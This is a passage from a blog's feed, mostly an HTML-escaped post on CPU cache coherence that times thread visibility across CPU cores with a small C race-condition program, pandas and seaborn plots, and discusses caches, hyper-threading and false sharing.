&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The threads synchronize themselves with a &lt;em&gt;busy-loop&lt;/em&gt; but the shared array &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is not protected in any way so there is a &lt;em&gt;race condition&lt;/em&gt; there.&lt;/p&gt;
&lt;p&gt;As we saw in a &lt;a href="/articles/2020/02/07/Compiler-Optimizations-under-RC.html"&gt;previous post&lt;/a&gt; we can avoid any corruption due the RC for this so simple program if we don’t allow the compiler to optimize the code.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;gcc&lt;span class="w"&gt; &lt;/span&gt;--version
gcc&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;Debian&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;.3.0-18+deb9u1&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;.3.0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;20170516&lt;/span&gt;

$&lt;span class="w"&gt; &lt;/span&gt;gcc&lt;span class="w"&gt; &lt;/span&gt;-std&lt;span class="o"&gt;=&lt;/span&gt;c11&lt;span class="w"&gt; &lt;/span&gt;-lpthread&lt;span class="w"&gt; &lt;/span&gt;-O0&lt;span class="w"&gt; &lt;/span&gt;-ggdb&lt;span class="w"&gt; &lt;/span&gt;-DDATASZ&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;rccnt&lt;span class="w"&gt; &lt;/span&gt;rccnt.c
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If the two threads see the same value &lt;em&gt;eventually&lt;/em&gt;, how much &lt;em&gt;“time”&lt;/em&gt; does it take?&lt;/p&gt;
&lt;p&gt;&lt;label for='ClRoYXQgaXMgdGhlIHB1cnBvc2Ugb2YgYGNvdW50ZXJzYDogdHJhY2sgaG93IG1hbnkgY3ljbGVzIHRvb2sgc2VlIHRoZQpleHBlY3RlZCB2YWx1ZSBhdCBlYWNoIGluZGV4LiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoYXQgaXMgdGhlIHB1cnBvc2Ugb2YgYGNvdW50ZXJzYDogdHJhY2sgaG93IG1hbnkgY3ljbGVzIHRvb2sgc2VlIHRoZQpleHBlY3RlZCB2YWx1ZSBhdCBlYWNoIGluZGV4LiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
That is the purpose of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;counters&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: track how many cycles took see the expected value at each index.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;How many times a busy-loop cycled gives us a rough estimation.&lt;/p&gt;
&lt;p&gt;&lt;label for='ClNlZSBtYW4gcGFnZSBvZiBgcHRocmVhZF9hdHRyX3NldGFmZmluaXR5X25wYCBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClNlZSBtYW4gcGFnZSBvZiBgcHRocmVhZF9hdHRyX3NldGFmZmluaXR5X25wYCBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
See man page of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pthread_attr_setaffinity_np&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;To play with different cpus, the program sets the cpu’s affinity of each thread configurable from the command line.&lt;/p&gt;
&lt;p&gt;For example, to set the affinity of both threads to the cpu number 0 we do:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;./rccnt&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="m"&gt;4960841&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="m"&gt;4846049&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
Sum&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;160&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;For this post I ran several times the program with all the possible combinations of cpus; scripts and the dataset are &lt;a href="/assets/threading/cache-coherence/rccnt-data.tar.gz"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="cpu-contention"&gt;CPU contention&lt;/h2&gt;
&lt;p&gt;Let’s plot what happens when both threads want to use the same cpu:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;sns&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;catplot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;arr_ix&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;cycles&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;b&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;cpu&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2nd cpu&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
In the x-axis we have the index of each element (of an array of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;DATASZ&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; elements); in the y-axis the amount of cycles need until the value got the correct parity.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/threading/cache-coherence/cnt-cpu0-cpu0.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Weird?&lt;/p&gt;
&lt;!-- TODO add some scketch with speedlines --&gt;
&lt;p&gt;Assume that the first thread accesses to its cpu.&lt;/p&gt;
&lt;p&gt;This thread checks for even numbers and because the array is initialized to zero it has a &lt;em&gt;free pass&lt;/em&gt; to increment their values &lt;em&gt;without&lt;/em&gt; busy-looping once.&lt;/p&gt;
&lt;p&gt;But after the first round, it will restart again and now all the values are set to 1 so it &lt;em&gt;will&lt;/em&gt; need to wait.&lt;/p&gt;
&lt;p&gt;The second thread will &lt;em&gt;not&lt;/em&gt; run immediately because the cpu is still in use by the first thread.&lt;/p&gt;
&lt;p&gt;We have a &lt;em&gt;contention&lt;/em&gt; scenario.&lt;/p&gt;
&lt;p&gt;Without voluntary &lt;em&gt;yielding&lt;/em&gt; the execution, the first thread will not release the cpu; only after a while the OS scheduler will kick it off.&lt;/p&gt;
&lt;p&gt;Once that, the second thread runs freely until it finishes the round and starts the next one again falling in the same contention scenario.&lt;/p&gt;
&lt;p&gt;That explains why there is a huge amount of cycles before accessing the first element and zero for the rest.&lt;/p&gt;
&lt;h2 id="shared-and-private-caches"&gt;Shared and Private Caches&lt;/h2&gt;
&lt;p&gt;When both threads run in the same cpu they have an immediate visibility of the modifications done by the other.&lt;/p&gt;
&lt;p&gt;But what happen when the threads run in different cpus?&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;sns&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;catplot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2nd cpu&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;cycles&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;b&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;cpu&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2nd cpu&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Plot how many cycles happen when the first thread ran in the cpu 0 and the other ran in any other cpu.
&lt;br /&gt;&lt;br /&gt;
Each point represents the cycles that happen in one array access in one execution of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;rccnt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.
&lt;br /&gt;&lt;br /&gt;
Note how values around and greater than 1000 are outliers.
&lt;br /&gt;&lt;br /&gt;
Outliers are only a small fraction of the overall set (~0.413%); I presume that these are because a thread is waiting while the other has &lt;em&gt;no&lt;/em&gt; access to the cpu because the OS scheduler decided to give the cpu to &lt;em&gt;another&lt;/em&gt; process.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/threading/cache-coherence/cnt-cpu0-per-2ndcpu.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Interesting pattern: when the second thread runs in the cpus from 1 to 7 and 16 to 23 require less iterations than other cpus.&lt;/p&gt;
&lt;p&gt;They can see the effects of the first thread &lt;em&gt;sooner&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;This is an artifact of having a &lt;em&gt;shared&lt;/em&gt; and &lt;em&gt;private&lt;/em&gt; caches.&lt;/p&gt;
&lt;p&gt;Modern hardware has several &lt;em&gt;cores&lt;/em&gt; per cpu die or &lt;em&gt;socket&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;label for='ClRoZSByZWFsaXR5IGlzIHRoYXQgdGhpcyBpcyBub3Qgc3RhbmRhcmQ6IHRoZSBkZXRhaWxzIGRlcGVuZHMgb2YgdGhlCnRlY2hub2xvZ3kgYW5kIHZlbmRvciBhbmQgY2hhbmdlZCBvdmVyIHRoZSB0aW1lLgoKRm9yIHRoaXMgcG9zdCBJIHdpbGwgYXNzdW1lIHRoYXQgTDEgYW5kIEwyIGFyZSBwZXIgc29ja2V0IGFuZCBMMyBzaGFyZWQKZm9yIGFsbCB0aGUgc29ja2V0cy4gbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoZSByZWFsaXR5IGlzIHRoYXQgdGhpcyBpcyBub3Qgc3RhbmRhcmQ6IHRoZSBkZXRhaWxzIGRlcGVuZHMgb2YgdGhlCnRlY2hub2xvZ3kgYW5kIHZlbmRvciBhbmQgY2hhbmdlZCBvdmVyIHRoZSB0aW1lLgoKRm9yIHRoaXMgcG9zdCBJIHdpbGwgYXNzdW1lIHRoYXQgTDEgYW5kIEwyIGFyZSBwZXIgc29ja2V0IGFuZCBMMyBzaGFyZWQKZm9yIGFsbCB0aGUgc29ja2V0cy4gbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
The reality is that this is not standard: the details depends of the technology and vendor and changed over the time.
&lt;br /&gt;&lt;br /&gt;
For this post I will assume that L1 and L2 are per socket and L3 shared for all the sockets.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;While all the cores share the same L3 cache, each socket has its own private L1 and L2 caches shared by only the cores of that socket.&lt;/p&gt;
&lt;h2 id="cache-coherence"&gt;Cache coherence&lt;/h2&gt;
&lt;p&gt;When a thread does a store/write it modifies its closest cache: L1.&lt;/p&gt;
&lt;p&gt;The &lt;em&gt;same&lt;/em&gt; thread does a load/read to that address, it will read exactly &lt;em&gt;that&lt;/em&gt; value.&lt;/p&gt;
&lt;p&gt;But other threads will read that value &lt;em&gt;eventually&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;label for='CipDb25zaXN0ZW5jeSogYW5kIHN0b3JlL2xvYWQgcmVvcmRlcmluZyBpcyBmb3IgYW5vdGhlciBwb3N0LiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CipDb25zaXN0ZW5jeSogYW5kIHN0b3JlL2xvYWQgcmVvcmRlcmluZyBpcyBmb3IgYW5vdGhlciBwb3N0LiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;em&gt;Consistency&lt;/em&gt; and store/load reordering is for another post.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;This is a &lt;em&gt;coherent&lt;/em&gt; system. It talks about how the stores are visible to other threads but not necessary in which order.&lt;/p&gt;
&lt;p&gt;Having a coherent system is critical for today’s code that relay in a unified and shared view of the memory regardless of which thread is running in which core.&lt;/p&gt;
&lt;!-- TODO another diagram here? --&gt;
&lt;p&gt;But each core has its own private L1 and L2 caches and each socket its own L3 cache: a store in one core will affect its L1 immediately but the store will take some time to be visible to L1/L2 caches of other cores in the same socket and a little longer to be visible in the caches of other sockets.&lt;/p&gt;
&lt;p&gt;&lt;label for='CiJNdWx0aWNvcmUgQ2FjaGUgQ29oZXJlbmNlIiAoaW4gdGhlIHJlZmVyZW5jZSkKZXhwbGFpbnMgaG93IHRvIGFjaGlldmUgdGhpcy4gbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CiJNdWx0aWNvcmUgQ2FjaGUgQ29oZXJlbmNlIiAoaW4gdGhlIHJlZmVyZW5jZSkKZXhwbGFpbnMgaG93IHRvIGFjaGlldmUgdGhpcy4gbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
“Multicore Cache Coherence” (in the reference) explains how to achieve this.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;To have a &lt;em&gt;coherent view&lt;/em&gt; of the memory, the caches &lt;em&gt;synchronize&lt;/em&gt; themselves&lt;/p&gt;
&lt;p&gt;Let’s see the effects of this comparing each cpu against the other.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;cycles&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;groupby&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;cpu&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;2nd cpu&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;mean&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;del&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;arr_ix&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unstack&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;cycles&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;sns&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;heatmap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Plot a heatmap comparing each cpu agaist each other. Outliers (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;cycles&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) are ignored and the mean is used as the aggregation function.
&lt;br /&gt;&lt;br /&gt;
The major diagonal (when both threads use the same cpu) has the lowest values but this is because we removed the outliers so it is not entirely correct.
&lt;br /&gt;&lt;br /&gt;
The other two minor diagonals also have the lowest values but this is &lt;em&gt;not&lt;/em&gt; the product of removing outliers.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/threading/cache-coherence/cnt-cpu-2ndcpu-heatmap.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The heatmap corroborates the &lt;em&gt;clustering&lt;/em&gt;: cpus 0 to 7 and 16 to 23 can see the effects of the other thread in the same cluster &lt;em&gt;sooner&lt;/em&gt; than the other cpus. The same for the other cluster that spans cpus 8 to 15 and 24 to 31.&lt;/p&gt;
&lt;p&gt;When the two threads are in separated clusters not only they spend more cycles looping but also it seems that the amount of cycles is more unpredictable.&lt;/p&gt;
&lt;p&gt;&lt;label for='ClRoaXMgaXMgbW9yZSBsaWtlIGEKaHVuY2guIG1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRoaXMgaXMgbW9yZSBsaWtlIGEKaHVuY2guIG1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
This is more like a hunch.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;This makes the heatmap &lt;em&gt;almost&lt;/em&gt; symmetric with some squares slightly brighter than their counterparts.&lt;/p&gt;
&lt;p&gt;This is the effect of having separated caches.&lt;/p&gt;
&lt;p&gt;But the heatmap reveals something else!&lt;/p&gt;
&lt;h2 id="hyper-threading"&gt;Hyper-threading&lt;/h2&gt;
&lt;p&gt;There are two minor diagonals that have the lowest cycles values and cannot be explained by the caches.&lt;/p&gt;
&lt;p&gt;It happens when we use the pairs 0 and 16, 1 and 17, 2 and 18 and so on.&lt;/p&gt;
&lt;p&gt;Those pairs are hyper-threads of the same core.&lt;/p&gt;
&lt;p&gt;&lt;label for='CipQYXJhbGVsbGlzbSogaXMgcGVyaGFwcyB0b28Kb3B0aW1pc3RpYy4gRXZlbiBpZiB0aGUgc2FtZSBjb3JlIGNhbiBydW4gbXVsdGlwbGUgdGhpbmdzLCBzZXZlcmFsCmNvbXBvbmVudHMgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZSB1c2VkLiAqQ29uY3VycmVudCogaXMgYSBiZXR0ZXIgd29yZC4KbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CipQYXJhbGVsbGlzbSogaXMgcGVyaGFwcyB0b28Kb3B0aW1pc3RpYy4gRXZlbiBpZiB0aGUgc2FtZSBjb3JlIGNhbiBydW4gbXVsdGlwbGUgdGhpbmdzLCBzZXZlcmFsCmNvbXBvbmVudHMgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZSB1c2VkLiAqQ29uY3VycmVudCogaXMgYSBiZXR0ZXIgd29yZC4KbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;em&gt;Paralellism&lt;/em&gt; is perhaps too optimistic. Even if the same core can run multiple things, several components are mutually exclusive used. &lt;em&gt;Concurrent&lt;/em&gt; is a better word.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Modern cores do &lt;em&gt;instruction level paralellism&lt;/em&gt; and execute two or more threads.&lt;/p&gt;
&lt;p&gt;In this case, we have 2 hyper-threads per core, sharing the same L1.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
High-level diagram. The colours are qualitative following the same color palette used by the heatmap.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/threading/cache-coherence/cpus-cache-arch.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="open-questions"&gt;Open questions&lt;/h2&gt;
&lt;p&gt;We used an array of 8 elements of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; that gives us 32 bytes. Current technology uses cache lines of 64 bytes. Will the results in this post change if we use larger arrays?&lt;/p&gt;
&lt;p&gt;We saw how two threads running in the same cpu fight each other because none &lt;em&gt;yields&lt;/em&gt; the cpu; &lt;a href="http://man7.org/linux/man-pages/man2/sched_yield.2.html"&gt;sched_yield&lt;/a&gt; is POSIX function to &lt;em&gt;relinquish&lt;/em&gt; the cpu. What would happen?&lt;/p&gt;
&lt;p&gt;The heatmap was not entirely symmetric. Does it mean that we need to collect more data and try to understand and suppress the noise, or is there something else?&lt;/p&gt;
&lt;p&gt;What about &lt;a href="https://en.wikipedia.org/wiki/Non-uniform_memory_access"&gt;NUMA&lt;/a&gt; (Non Uniform Memory Address)? Could the results shown in this post be explained by it?&lt;/p&gt;
&lt;h2 id="conclusions"&gt;Conclusions&lt;/h2&gt;
&lt;p&gt;The modern architectures present the memory as a single shared unit; caches are put in between the memory and the cpus to match the difference in speed.&lt;/p&gt;
&lt;p&gt;If a multithread application runs, the caches may have different values for the same addresses so a coherency mechanism is put in place.&lt;/p&gt;
&lt;p&gt;But it is not free and changes done by one thread take longer to be seen by the other when running in different cores, especially in different cpu sockets.&lt;/p&gt;
&lt;p&gt;And the things gets worst if two thread modified memory addresses that are &lt;em&gt;near&lt;/em&gt; each other and both fit in the &lt;em&gt;same&lt;/em&gt; cache line. Because the cache coherence works line by line, a store in one position will invalidate the cache of other threads that have that &lt;em&gt;dirty&lt;/em&gt; line even if they are not using that particular address. This is known as &lt;em&gt;false sharing&lt;/em&gt; and it can degrade the performance a lot under specific circumstances.&lt;/p&gt;
&lt;p&gt;These conclusions highly depend of the hardware and may not apply to all the systems but this post shows how complex can get such a simple thing like a cache.&lt;/p&gt;
&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://course.ece.cmu.edu/~ece600/lectures/lecture17.pdf"&gt;Multicore Cache Coherence (Lecture 17)&lt;/a&gt;, John P. Shen. October 25, 2017.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://software.intel.com/en-us/articles/avoiding-and-identifying-false-sharing-among-threads"&gt;Avoiding and Identifying False Sharing Among Threads&lt;/a&gt;, Intel, November 2, 2011&lt;/li&gt;
&lt;/ul&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2020/02/15/CPU-Cache-Coherence.html" rel="alternate" type="text/html" title="Effects of CPU Cache Coherence"/>
    <category term="reversing" label="reversing"/>
    <category term="performance" label="performance"/>
    <category term="cache" label="cache"/>
    <category term="CPU" label="CPU"/>
    <published>2020-02-15T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2020/02/07/Compiler-Optimizations-under-RC.html</id>
    <title>Compiler Optimizations under a Race Condition</title>
    <updated>2020-02-07T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;When two or more concurrent tasks perform non-atomic read/write operations over the same data we have a &lt;em&gt;race condition&lt;/em&gt; and the system will be in an undefined state.&lt;/p&gt;
